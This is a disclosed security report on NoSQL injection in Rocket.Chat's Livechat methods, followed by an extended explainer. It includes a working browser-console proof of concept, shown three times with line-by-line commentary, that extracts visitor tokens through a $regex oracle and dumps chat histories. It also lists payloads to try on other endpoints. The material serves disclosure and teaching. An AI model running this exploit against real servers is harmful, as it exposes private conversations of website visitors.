NoSQL injection leaks visitor token and livechat messages
The token parameter of livechat:loginByToken and the rid parameter of livechat:loadHistory are not validated, allowing NoSQL injection. An unauthenticated attacker can leak a visitor token and then use it to read all livechat messages.
- Triaged in 4 days
- Fixed in 14 days
- Disclosed after 14 days
Summary
Livechat messages can be leaked by combining two NoSQL injections affecting livechat:loginByToken (pre-authentication) and livechat:loadHistory.
Description
The token parameter of the livechat:loginByToken method is not validated and allows NoSQL injection, for instance $regex to efficiently leak existing livechat visitor token
apps/meteor/app/livechat/server/methods/loginByToken.ts#L17
Meteor.methods<ServerMethods>({
async 'livechat:loginByToken'(token) {
methodDeprecationLogger.method('livechat:loginByToken', '7.0.0');
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
return;
}
return {
_id: visitor._id,
};
},
});
With a known visitor token, an authenticated adversary can load the message history by guessing a room ID or using another NoSQL injection in this methods rid parameter. The method requires a valid visitor token, which is known from the first step.
apps/meteor/app/livechat/server/methods/loadHistory.ts#L30
Meteor.methods<ServerMethods>({
async 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) {
methodDeprecationLogger.method('livechat:loadHistory', '7.0.0');
if (!token || typeof token !== 'string') {
return;
}
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
throw new Meteor.Error('invalid-visitor', 'Invalid Visitor', {
method: 'livechat:loadHistory',
});
}
const room = await LivechatRooms.findOneByIdAndVisitorToken(rid, token, { projection: { _id: 1 } });
if (!room) {
throw new Meteor.Error('invalid-room', 'Invalid Room', { method: 'livechat:loadHistory' });
}
return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });
},
});
Releases Affected:
- https://open.rocket.chat
develop
Steps To Reproduce:
- Login to a Rocket.Chat appliance with Livechat enabled (e.g. https://open.rocket.chat)
- Open Web Inspector
- Execute Proof-of-Concept
Proof of Concept
var pool = "0123456789abcdef";
var rate_limit = 4; // requests per second
var guessVisitorToken = (knownValid, guesses) => {
return new Promise((resolve, reject) => {
if (!guesses.length) {
return reject();
}
const guess = { "$regex": `^${knownValid}[${guesses}]` };
console.log("Meteor.call", "livechat:loginByToken", guess);
Meteor.call("livechat:loginByToken", guess, async (err, data) => {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (err) {
console.error(err);
return reject(err);
}
if ((data instanceof Object) && data.hasOwnProperty("_id")) {
resolve(guesses)
} else {
reject();
}
});
});
};
var bruteforceVisitorToken = async (knownValid="") => {
let remainingPool = pool;
while (true) {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (remainingPool.length === 0) {
throw new Error("empty pool");
} else if (remainingPool.length === 1) {
await guessVisitorToken(knownValid, remainingPool);
knownValid += remainingPool[0];
remainingPool = pool;
continue;
} else {
const middle = Math.ceil(remainingPool.length / 2);
const left = remainingPool.slice(0, middle);
const right = remainingPool.slice(middle);
try {
await guessVisitorToken(knownValid, left);
remainingPool = left;
continue;
} catch(err) {}
try {
await guessVisitorToken(knownValid, right);
remainingPool = right;
continue
} catch(err) {}
return knownValid;
}
}
}
const { messages, token } = await bruteforceVisitorToken("")
.then((token) => {
console.log("Token leaked", token);
return new Promise((resolve, reject) => {
Meteor.call("livechat:loadHistory", { token, rid: { "$regex": ".*" } }, (err, messages) => {
if (err) {
console.log("failed to leak messages");
return reject();
}
resolve({ token, messages })
})
});
})
.catch(console.error);
console.log({ token, messages });
Suggested mitigation
- Validate
tokenparameter oflivechat:loginByTokenmethod to be a String. - Validate
ridparameter oflivechat:loadHistorymethod to be a String.
Impact
Unauthenticated attackers can leak visitor token on Rocket.Chat appliances with Livechat enabled by using a NoSQL injection in the token parameter of the livechat:loginByToken method. Combined with another NoSQL injection in the rid parameter of the livechat:loadHistory method, all Livechat messages can be leaked.
Context
Rocket.Chat is an open-source team chat platform, and the report concerns its Livechat feature: the part of the product that lets visitors talk to agents from a website widget without having an account. Visitors are identified by a visitor token, and two Meteor methods sit behind the widget: livechat:loginByToken, which resolves a visitor token to a visitor _id, and livechat:loadHistory, which returns the message history of a room for a given visitor token and room ID (rid).
The report was filed against the Rocket.Chat repository and lists two affected releases: the hosted instance at https://open.rocket.chat and the develop branch. It was rated medium severity (CVSS 6.5) under Information Disclosure and disclosed on 11 July 2024.
Setup
The only precondition is a Rocket.Chat deployment with Livechat enabled. The researcher used https://open.rocket.chat as the example appliance. No account, agent role or special privilege is needed for the first step: livechat:loginByToken is reachable pre-authentication, which is the whole point of the finding. The second step needs a valid visitor token, which the first step supplies.
The tooling is just the browser: log in to a Rocket.Chat appliance with Livechat enabled, open the Web Inspector, and run the proof of concept from the console, where the Meteor client is already available.
Finding it
The researcher looked at the server-side implementation of the two Livechat methods and noticed that the token in livechat:loginByToken and the rid in livechat:loadHistory are not type-checked before reaching the database query. In livechat:loginByToken, the token argument goes straight into LivechatVisitors.getVisitorByToken(token, ...). In livechat:loadHistory, the rid argument goes into LivechatRooms.findOneByIdAndVisitorToken(rid, token, ...). Because Meteor accepts structured objects as method arguments, a caller can send a MongoDB query operator such as $regex where a string is expected, and the operator reaches the database query unchanged.
The first method is the interesting one because it is unauthenticated and its response is an oracle: it returns the visitor _id when a visitor matches and returns nothing when none does. That makes it possible to test a guess about the token without knowing it.
Exploitation
Step 1: leak a visitor token with livechat:loginByToken
The vulnerable method, as quoted in the report from apps/meteor/app/livechat/server/methods/loginByToken.ts:
Meteor.methods<ServerMethods>({
async 'livechat:loginByToken'(token) {
methodDeprecationLogger.method('livechat:loginByToken', '7.0.0');
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
return;
}
return {
_id: visitor._id,
};
},
});
There is no typeof token !== 'string' check. Passing an object such as { "$regex": "^..." } turns the lookup into a pattern match, and the method's return value tells the caller whether any visitor token matched the pattern. The researcher turns this into a character-by-character extraction using a binary search over the hex alphabet 0123456789abcdef, throttled to four requests per second.
var pool = "0123456789abcdef";
var rate_limit = 4; // requests per second
var guessVisitorToken = (knownValid, guesses) => {
return new Promise((resolve, reject) => {
if (!guesses.length) {
return reject();
}
const guess = { "$regex": `^${knownValid}[${guesses}]` };
console.log("Meteor.call", "livechat:loginByToken", guess);
Meteor.call("livechat:loginByToken", guess, async (err, data) => {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (err) {
console.error(err);
return reject(err);
}
if ((data instanceof Object) && data.hasOwnProperty("_id")) {
resolve(guesses)
} else {
reject();
}
});
});
};
var bruteforceVisitorToken = async (knownValid="") => {
let remainingPool = pool;
while (true) {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (remainingPool.length === 0) {
throw new Error("empty pool");
} else if (remainingPool.length === 1) {
await guessVisitorToken(knownValid, remainingPool);
knownValid += remainingPool[0];
remainingPool = pool;
continue;
} else {
const middle = Math.ceil(remainingPool.length / 2);
const left = remainingPool.slice(0, middle);
const right = remainingPool.slice(middle);
try {
await guessVisitorToken(knownValid, left);
remainingPool = left;
continue;
} catch(err) {}
try {
await guessVisitorToken(knownValid, right);
remainingPool = right;
continue
} catch(err) {}
return knownValid;
}
}
}
The important parts:
guessis an anchored regex,^${knownValid}[${guesses}], so it matches any visitor token that starts with the characters already recovered followed by one of the candidate characters.guessVisitorTokenresolves when the method returns an object with an_idproperty, meaning at least one visitor matched, and rejects otherwise. That is the oracle.bruteforceVisitorTokensplits the remaining alphabet in half and tests the left half first, then the right half, narrowing the candidate set until a single character remains, appends it toknownValid, and starts again with the full pool.- The
rate_limitof four requests per second spaces the calls out withsetTimeout.
Step 2: load message history with livechat:loadHistory
With the token in hand, the second method is called. Its code, from apps/meteor/app/livechat/server/methods/loadHistory.ts:
Meteor.methods<ServerMethods>({
async 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) {
methodDeprecationLogger.method('livechat:loadHistory', '7.0.0');
if (!token || typeof token !== 'string') {
return;
}
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
throw new Meteor.Error('invalid-visitor', 'Invalid Visitor', {
method: 'livechat:loadHistory',
});
}
const room = await LivechatRooms.findOneByIdAndVisitorToken(rid, token, { projection: { _id: 1 } });
if (!room) {
throw new Meteor.Error('invalid-room', 'Invalid Room', { method: 'livechat:loadHistory' });
}
return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });
},
});
Here token is type-checked, so the leaked token must be a real string, but rid is not. The room lookup therefore accepts an operator as well. The researcher passes { "$regex": ".*" } as rid, which matches any room belonging to that visitor, and the method proceeds to loadMessageHistory:
const { messages, token } = await bruteforceVisitorToken("")
.then((token) => {
console.log("Token leaked", token);
return new Promise((resolve, reject) => {
Meteor.call("livechat:loadHistory", { token, rid: { "$regex": ".*" } }, (err, messages) => {
if (err) {
console.log("failed to leak messages");
return reject();
}
resolve({ token, messages })
})
})
})
.catch(console.error);
console.log({ token, messages });
The report notes that a known room ID could be guessed instead of using the injection in rid. The final console.log prints the recovered token and the leaked messages.
Root cause
Both methods pass caller-controlled values into database lookups without checking that they are strings. Meteor method arguments are deserialised from JSON-like structures, so an object with a $regex key arrives as an object and is handed to the query builder, where MongoDB interprets it as an operator. The token check in livechat:loadHistory shows the intended pattern, but it was applied to only one of the two parameters, and livechat:loginByToken has no check at all. The report does not describe any other defence, such as a global sanitiser, that would have caught the operator.
Impact
An unauthenticated attacker can recover a livechat visitor token on any Rocket.Chat appliance with Livechat enabled, using the token injection in livechat:loginByToken. Combined with the rid injection in livechat:loadHistory, all Livechat messages reachable through that visitor can be leaked. The report frames the impact in those terms: token leakage first, message disclosure second. The second step depends on holding a valid visitor token, which the first step provides.
Fix
The suggested mitigation in the report is narrow and direct:
- Validate the
tokenparameter oflivechat:loginByTokento be a String. - Validate the
ridparameter oflivechat:loadHistoryto be a String.
The report does not describe a patch that was applied, so the type checks above are the recommendation rather than a confirmed change.
Variants to test
- Other Meteor methods that take an identifier and query the database with it. Send
{ "$regex": "^a" }or{ "$ne": null }in place of the identifier and look for a different result than a plain invalid value produces. - Methods that return a boolean, an object or nothing depending on whether a record matched. These are the best oracles for character-by-character extraction, as
livechat:loginByTokenwas here. - Methods where one parameter is type-checked and a sibling is not, as with
tokenandridinlivechat:loadHistory. A positive result is the unchecked parameter accepting an operator and the method continuing past its validation. - Pre-authentication methods in general. A positive result is an unauthenticated call that changes behaviour when an operator is supplied.
Hunting notes
This kind of bug hides in server-side method handlers that trust the shape of their arguments, especially in frameworks like Meteor where the client can send arbitrary JSON structures to a named method. During recon, look for method names in client bundles and for handlers that pass arguments directly into model lookups. The signal is a lookup call with no typeof check on the value, and a response that differs between a match and no match.
What happened, in plain words
Rocket.Chat is a chat program that organisations can run on their own servers. It has a feature called Livechat: a small chat box that can be placed on a website so that people who are just visiting that website (not logged in, no account) can talk to a support agent. Each such anonymous person is called a visitor, and the software gives each visitor a long random string called a visitor token. That token is how the server recognises the visitor on later requests, a bit like the ticket you get at a cloakroom: whoever holds the ticket can collect the coat.
The researcher found that two of the server's internal functions, livechat:loginByToken and livechat:loadHistory, did not check the type of every value they were given. They expected a piece of text (a string), but they happily accepted a small structured object instead. When such an object is passed into the database query, the database treats part of it as an instruction rather than as data. This is the classic NoSQL injection: the attacker smuggles database instructions in through a field that was meant to hold a plain value.
Using the first function, an attacker with no account at all can ask the server "does any visitor token start with these characters?" over and over, and the server's answer (a visitor ID, or nothing) reveals the token one character at a time. With the recovered token, the second function can then be abused to dump the chat history of that visitor's rooms. The report was rated medium severity (CVSS 6.5) as an information disclosure and was disclosed on 11 July 2024.
The product and the feature
Rocket.Chat is an open-source team chat platform. The report concerns its Livechat feature: the part of the product that lets visitors talk to agents from a website widget without having an account. Visitors are identified by a visitor token, and two Meteor methods sit behind the widget:
livechat:loginByToken, which resolves a visitor token to a visitor_id(the internal identifier the database uses for that visitor).livechat:loadHistory, which returns the message history of a room for a given visitor token and room ID (rid).
A few words that will come up constantly:
- API: the set of named operations a program offers so that other programs can ask it to do things. Think of a restaurant menu: you do not walk into the kitchen, you order a named dish and the kitchen does the work.
- Method: in the Meteor framework (the toolkit Rocket.Chat is built with), a method is a named function that runs on the server and can be called from the browser.
livechat:loginByTokenis one such name. - Token: a long random string that acts as proof of identity, like the cloakroom ticket mentioned above. If you have the token, the server treats you as that visitor.
- NoSQL injection: a database such as MongoDB stores records as flexible documents rather than rows in a table. Queries can be written as structured objects, for example "find a record whose field matches this pattern". If a program lets a user supply that structure instead of a plain value, the user can change the meaning of the query. That is NoSQL injection.
$regex: a MongoDB query operator meaning "match this pattern".^abcmeans "starts with abc".- Oracle: any behaviour that answers a yes/no question for the attacker, even indirectly. A login form that says "wrong password" versus "no such user" is an oracle. Here, the server returning a visitor ID versus returning nothing is the oracle.
The report was filed against the Rocket.Chat repository and lists two affected releases: the hosted instance at https://open.rocket.chat and the develop branch.
Setting up
The only precondition is a Rocket.Chat deployment with Livechat enabled. The researcher used https://open.rocket.chat as the example appliance. No account, agent role or special privilege is needed for the first step: livechat:loginByToken is reachable before logging in at all, which is the whole point of the finding. The second step needs a valid visitor token, which the first step supplies.
The tooling is just the browser. The steps in the report are:
- Log in to a Rocket.Chat appliance with Livechat enabled (for example
https://open.rocket.chat). - Open the Web Inspector (the browser's built-in developer tools, usually under View, Developer, or by pressing F12).
- Run the proof of concept from the console tab.
Why the console? Because the Rocket.Chat web page already loads the Meteor client library into the browser. That library gives the page a function called Meteor.call, which lets any JavaScript typed into the console send a request to a named server method. The console is simply a place to type JavaScript that runs inside the page, with all the page's tools available.
Finding it
The researcher read the server-side code of the two Livechat methods and noticed that the token in livechat:loginByToken and the rid in livechat:loadHistory are not type-checked before reaching the database query. In livechat:loginByToken, the token argument goes straight into LivechatVisitors.getVisitorByToken(token, ...). In livechat:loadHistory, the rid argument goes into LivechatRooms.findOneByIdAndVisitorToken(rid, token, ...). Because Meteor accepts structured objects as method arguments, a caller can send a MongoDB query operator such as $regex where a string is expected, and the operator reaches the database query unchanged.
The first method is the interesting one because it is unauthenticated and its response is an oracle: it returns the visitor _id when a visitor matches and returns nothing when none does. That makes it possible to test a guess about the token without knowing it.
Step 1: leak a visitor token with livechat:loginByToken
Here is the vulnerable method as quoted in the report, from apps/meteor/app/livechat/server/methods/loginByToken.ts:
Meteor.methods<ServerMethods>({
async 'livechat:loginByToken'(token) {
methodDeprecationLogger.method('livechat:loginByToken', '7.0.0');
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
return;
}
return {
_id: visitor._id,
};
},
});
Line by line:
Meteor.methods<ServerMethods>({starts the declaration of one or more server methods. Everything inside the braces is a method definition.async 'livechat:loginByToken'(token) {declares the method namedlivechat:loginByToken. It takes one argument,token.asyncmeans the function can wait for slow work (such as a database lookup) without blocking everything else.methodDeprecationLogger.method('livechat:loginByToken', '7.0.0');records that this method is deprecated and will be removed in version 7.0.0. It is bookkeeping, not security.const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });asks the database for the visitor whose token equalstoken.awaitmeans "wait for the database to answer".projection: { _id: 1 }means "only bring back the_idfield", nothing else.if (!visitor) { return; }if no visitor was found, return nothing at all.return { _id: visitor._id };otherwise return a small object containing the visitor's internal ID.
There is no typeof token !== 'string' check. In plain words, the method never asks "is token actually a piece of text?" It just hands whatever it received to the database. Passing an object such as { "$regex": "^..." } turns the lookup into a pattern match, and the method's return value tells the caller whether any visitor token matched the pattern.
The researcher turns this into a character-by-character extraction using a binary search over the hex alphabet 0123456789abcdef, throttled to four requests per second. A binary search means: instead of trying all sixteen possible characters one by one, split them into two halves and ask "is the next character in this half?". Each yes/no answer halves the possibilities, so a character is found in about four questions instead of up to sixteen.
var pool = "0123456789abcdef";
var rate_limit = 4; // requests per second
var guessVisitorToken = (knownValid, guesses) => {
return new Promise((resolve, reject) => {
if (!guesses.length) {
return reject();
}
const guess = { "$regex": `^${knownValid}[${guesses}]` };
console.log("Meteor.call", "livechat:loginByToken", guess);
Meteor.call("livechat:loginByToken", guess, async (err, data) => {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (err) {
console.error(err);
return reject(err);
}
if ((data instanceof Object) && data.hasOwnProperty("_id")) {
resolve(guesses)
} else {
reject();
}
});
});
};
var bruteforceVisitorToken = async (knownValid="") => {
let remainingPool = pool;
while (true) {
await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
if (remainingPool.length === 0) {
throw new Error("empty pool");
} else if (remainingPool.length === 1) {
await guessVisitorToken(knownValid, remainingPool);
knownValid += remainingPool[0];
remainingPool = pool;
continue;
} else {
const middle = Math.ceil(remainingPool.length / 2);
const left = remainingPool.slice(0, middle);
const right = remainingPool.slice(middle);
try {
await guessVisitorToken(knownValid, left);
remainingPool = left;
continue;
} catch(err) {}
try {
await guessVisitorToken(knownValid, right);
remainingPool = right;
continue
} catch(err) {}
return knownValid;
}
}
}
What each part does:
var pool = "0123456789abcdef";is the alphabet the token is assumed to be made of: the sixteen hexadecimal characters.var rate_limit = 4;sets the pace to four requests per second.guessVisitorToken(knownValid, guesses)is the function that asks one yes/no question.knownValidis the part of the token already recovered;guessesis the set of characters to test for the next position.if (!guesses.length) { return reject(); }refuses to ask an empty question.const guess = { "$regex":^${knownValid}[${guesses}]};builds the malicious value. It is not a string but an object with a$regexkey. The pattern means: "starts with the characters we already know, followed by one of the characters inguesses". The backticks are JavaScript template strings, which splice the variables into the text.console.log("Meteor.call", "livechat:loginByToken", guess);prints what is about to be sent, so the researcher can watch progress in the console.Meteor.call("livechat:loginByToken", guess, async (err, data) => {sends the request to the server method, passing the object as the token. The callback receiveserr(an error, if any) anddata(the server's answer).await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));waits 250 milliseconds (1000 divided by 4) before looking at the answer. This is the rate limiting.if (err) { console.error(err); return reject(err); }if the call itself failed, report it and stop this question.if ((data instanceof Object) && data.hasOwnProperty("_id")) { resolve(guesses) } else { reject(); }is the oracle. If the server returned an object that has an_id, at least one visitor matched, so the answer is yes and the promise resolves. Otherwise the answer is no and the promise rejects.bruteforceVisitorToken(knownValid="")is the loop that recovers the whole token. It starts with nothing known.let remainingPool = pool;starts with all sixteen characters still possible for the next position.while (true) {keeps going until the token is complete.- The wait at the top of the loop spaces out iterations as well.
if (remainingPool.length === 0)would mean something went wrong, so it throws an error.else if (remainingPool.length === 1)means only one character is left: it is certainly the next character, so it is appended toknownValid, the pool is reset to all sixteen, and the loop continues with the next position.- Otherwise the pool is split in half:
middleis the rounded-up midpoint,leftis the first half,rightis the second half. - The code tries the left half first. If the server says yes, the next character is in the left half, so
remainingPoolbecomes the left half and the loop continues. - If the left half fails, it tries the right half. If that succeeds,
remainingPoolbecomes the right half and the loop continues. - If neither half matches, the token has been recovered in full, and the function returns
knownValid.
Why this works: the server is answering a question about a secret it never intended to reveal. Each answer narrows the possibilities, and after enough questions the whole token is known.
Step 2: load message history with livechat:loadHistory
With the token in hand, the second method is called. Its code, from apps/meteor/app/livechat/server/methods/loadHistory.ts:
Meteor.methods<ServerMethods>({
async 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) {
methodDeprecationLogger.method('livechat:loadHistory', '7.0.0');
if (!token || typeof token !== 'string') {
return;
}
const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });
if (!visitor) {
throw new Meteor.Error('invalid-visitor', 'Invalid Visitor', {
method: 'livechat:loadHistory',
});
}
const room = await LivechatRooms.findOneByIdAndVisitorToken(rid, token, { projection: { _id: 1 } });
if (!room) {
throw new Meteor.Error('invalid-room', 'Invalid Room', { method: 'livechat:loadHistory' });
}
return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });
},
});
Line by line:
async 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) {declares the method. It takes one object and immediately unpacks it into named pieces:token,rid(room ID),end,limit(default 20 messages) andls.if (!token || typeof token !== 'string') { return; }here the token is checked: it must exist and must be a string. This is the check that is missing in the first method.- The visitor lookup works as before: find the visitor with this token, and if there is none, throw an
invalid-visitorerror. const room = await LivechatRooms.findOneByIdAndVisitorToken(rid, token, { projection: { _id: 1 } });looks up a room by room ID and visitor token. Note thatridis passed straight through with no type check.- If no room is found, it throws an
invalid-roomerror. return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });finally returns the messages of that room.
Here token is type-checked, so the leaked token must be a real string, but rid is not. The room lookup therefore accepts an operator as well. The researcher passes { "$regex": ".*" } as rid, which matches any room belonging to that visitor, and the method proceeds to loadMessageHistory:
const { messages, token } = await bruteforceVisitorToken("")
.then((token) => {
console.log("Token leaked", token);
return new Promise((resolve, reject) => {
Meteor.call("livechat:loadHistory", { token, rid: { "$regex": ".*" } }, (err, messages) => {
if (err) {
console.log("failed to leak messages");
return reject();
}
resolve({ token, messages })
})
})
})
.catch(console.error);
console.log({ token, messages });
Line by line:
const { messages, token } = await bruteforceVisitorToken("")runs the token recovery from step 1, starting with an empty known prefix, and waits for it to finish..then((token) => {runs once the token has been recovered. The recovered token is the input to the next stage.console.log("Token leaked", token);prints the recovered token.return new Promise((resolve, reject) => {wraps the next call in a promise so the two stages can be chained.Meteor.call("livechat:loadHistory", { token, rid: { "$regex": ".*" } }, (err, messages) => {calls the second method with the real token and a maliciousrid. The pattern.*means "anything", so it matches every room that belongs to this visitor.- If the call errors, it logs
failed to leak messagesand rejects. Otherwise it resolves with the token and the messages. .catch(console.error);prints any error from the whole chain.console.log({ token, messages });prints the recovered token and the leaked messages at the end.
The report notes that a known room ID could be guessed instead of using the injection in rid.
Why it works
Both methods pass caller-controlled values into database lookups without checking that they are strings. Meteor method arguments are deserialised from JSON-like structures, so an object with a $regex key arrives as an object and is handed to the query builder, where MongoDB interprets it as an operator. The token check in livechat:loadHistory shows the intended pattern, but it was applied to only one of the two parameters, and livechat:loginByToken has no check at all. The report does not describe any other defence, such as a global sanitiser, that would have caught the operator.
A useful comparison: imagine a form that asks for a name and writes it into a sentence like "Hello, NAME". If you type a name, fine. If the form lets you type a whole new sentence, you can change the meaning of the message. Here the "sentence" is a database query, and the "whole new sentence" is the $regex object.
Impact
An unauthenticated attacker can recover a livechat visitor token on any Rocket.Chat appliance with Livechat enabled, using the token injection in livechat:loginByToken. Combined with the rid injection in livechat:loadHistory, all Livechat messages reachable through that visitor can be leaked. The report frames the impact in those terms: token leakage first, message disclosure second. The second step depends on holding a valid visitor token, which the first step provides.
In everyday terms: someone with no account on the chat system can read private conversations between website visitors and support agents. That is why the report is classed as information disclosure.
The fix
The suggested mitigation in the report is narrow and direct:
- Validate the
tokenparameter oflivechat:loginByTokento be a String. - Validate the
ridparameter oflivechat:loadHistoryto be a String.
The report does not describe a patch that was applied, so the type checks above are the recommendation rather than a confirmed change.
Other places to look
- Other Meteor methods that take an identifier and query the database with it. Send
{ "$regex": "^a" }or{ "$ne": null }in place of the identifier and look for a different result than a plain invalid value produces. - Methods that return a boolean, an object or nothing depending on whether a record matched. These are the best oracles for character-by-character extraction, as
livechat:loginByTokenwas here. - Methods where one parameter is type-checked and a sibling is not, as with
tokenandridinlivechat:loadHistory. A positive result is the unchecked parameter accepting an operator and the method continuing past its validation. - Pre-authentication methods in general. A positive result is an unauthenticated call that changes behaviour when an operator is supplied.
How to hunt for this
This kind of bug hides in server-side method handlers that trust the shape of their arguments, especially in frameworks like Meteor where the client can send arbitrary JSON structures to a named method. During recon, look for method names in client bundles (the JavaScript files the browser downloads) and for handlers that pass arguments directly into model lookups. The signal is a lookup call with no typeof check on the value, and a response that differs between a match and no match.
Glossary
- Binary search: a way of finding an answer by repeatedly splitting the possibilities in half and asking which half contains it.
- CVSS: a standard scoring system for the severity of a security flaw; 6.5 is in the medium range.
- Deprecated: marked as due to be removed in a future version.
- Deserialise: turn stored or transmitted text back into a live data structure in memory.
- Hex alphabet: the sixteen characters
0123456789abcdef. - Information disclosure: a flaw that lets someone see data they should not be able to see.
- Livechat: the Rocket.Chat feature that lets anonymous website visitors chat with support agents.
- Meteor: the JavaScript framework Rocket.Chat is built with; it provides named server methods callable from the browser.
- Meteor method: a named function that runs on the server and can be called from the browser with
Meteor.call. - MongoDB: a database that stores records as flexible documents and supports query operators.
- NoSQL injection: tricking a program into treating user-supplied data as part of a database query, changing what the query does.
- Oracle: any observable behaviour that answers a yes/no question for an attacker.
- Pre-authentication: reachable before logging in, with no account.
- Projection: in a database query, a list of which fields to return.
- Promise: a JavaScript object representing work that will finish later, with success or failure.
- Rate limiting: deliberately slowing down requests, here to four per second.
- Regex: a pattern language for matching text;
^abcmeans "starts with abc". rid: the room ID, the identifier of a chat room.- String: a piece of text, as opposed to a number or an object.
- Token: a long random string that proves identity, like a cloakroom ticket.
- Visitor: an anonymous person chatting through the Livechat widget, identified by a visitor token.
- Web Inspector: the browser's built-in developer tools, including a console for running JavaScript in the page.
$ne: a MongoDB query operator meaning "not equal to"._id: the internal identifier the database gives each record.